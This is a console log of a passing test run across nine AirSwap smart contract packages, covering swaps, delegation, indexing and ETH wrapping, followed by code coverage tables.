@airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 